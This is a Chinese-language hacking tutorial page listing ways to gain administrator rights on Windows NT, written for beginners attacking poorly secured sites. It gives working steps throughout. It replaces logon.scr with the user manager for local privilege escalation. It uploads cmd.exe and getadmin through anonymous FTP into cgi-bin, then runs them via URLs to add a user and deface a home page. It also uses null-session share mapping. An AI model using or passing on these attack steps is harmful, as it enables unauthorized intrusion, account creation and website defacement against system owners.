上一篇：unix系统病毒概述

WinNT下使用匿名获得admin权限的几个方法

之一
如果你有普通用户帐号,有个一个很简单的方法获取nt administrator帐号:
先把c:winntsystem32下的logon.scr改名为logon.old备份
然后把usrmgr.exe改名为logon.scr
然后重新启动
logon.scr是启动时加载的程序,重新启动后,不会出现以往的登陆密码输入界面,而是用户管理器
这时他就有权限把自己加到administrator组
不要忘记把文件名改回来啊!

之二:
下面的技术适用于不重视nt网络安全的网站,虽然要靠运气,但是人多力量大
一些 http的技术也可以供较高级的人员参考
作为初学者,进入nt网络可以采取下面的步骤:
因为nt的iis server的ftp一般都是允许anonymous匿名帐号进入的,有些anonymous
的帐号还有upload权限,我们就要攻击这类站点。因为如果不允许匿名帐号,就可能
造成明文密码在网上传输。用tcpspy的工具可以截获这些密码。现在不谈这些比较
高级的技术。
正因为允许匿名帐号ftp登陆的设定,也给我们带来了突破nt server的机会。我们用
ftp登陆一个nt server,比如:www.xxx.com(示例名):
ftp www.xxx.com connected to www.xxx.com
220 ntsvr2 microsoft ftp service (version 3.0).
ntsvr2这个东西暴露了其netbios名,那么在iis的背景下,必然会有一个iuser_ntsvr2
的用户帐号,属于domain user组，这个帐号我们以后要用来获取administrator的权限
user (www.xxx.com:(none)):anonymous
331 anonymous access allowed, send identity (e-mail name) as password.
password: 输入 guest@ 或者guest
对于缺乏网络安全知识的管理员来说,很多人没有将guest帐号禁止,或者没有设置密码。
那么guest帐号就是一个可用的正确的用户帐号，虽然只属于domain guest组
在这种情况下我们就可以进nt server的ftp了。
进去以后,试试 cd /c ,如果运气好,改变目录成功，这时你就有了80%的把握。
现在,开始查找cgi-bin目录(或者scripts目录),进去以后,
把winnt下的cmd.execopy到cgi-bin,把getadmin和gasys.dll传上去到cgi-bin
然后输入:http://www.xxx.com/cgi-bin/getadmin.exe?iusr_saturn
大约十多秒后屏幕显示:
cgi error
这时有90%的可能是:你已经把iuser_ntsvr2升级为administrator,也就是任何访问该web
站的人都是管理员
下面可以add user:
http://www.xxx.com/cgi-bin/cmd.exe?/c%20c:winntsystem32net.exe%20user%20
china%20news%20/add
这样就创建了一个叫china用户,密码是news,然后:
http://www.xxx.com/cgi-bin/getadmin.exe?cnn
你再用cnn的帐号登陆,就可以改web根目录的主页了,也可以用上面的cmd.exe的方法直接修改

之三:
用nt的netbios技术扫描
nbtstat -a www.xxx.com
或者
nbtstat -a www.xxx.com
这样可以得到其域的共享资源名称
net view \www.xxx.com
可以获得其机器的共享资源名称,如果有c盘
net use f: \www.xxx.com\c$
可以用f:映射其c盘
net use \111.111.111.111\ipc$ "" /user:""

之四: unix下移植过来的工具:
windows95&98的用户可以用这个tcp/ip工具去抓tcp/ip连接中的包:
windump95.exe 使用前还要下载这个库 packet95.exe
windowsnt用户的版本
windump.exe　packetnt.exe

（）

下一篇：配置 VMware通过令牌访问LAN

↓相关文章：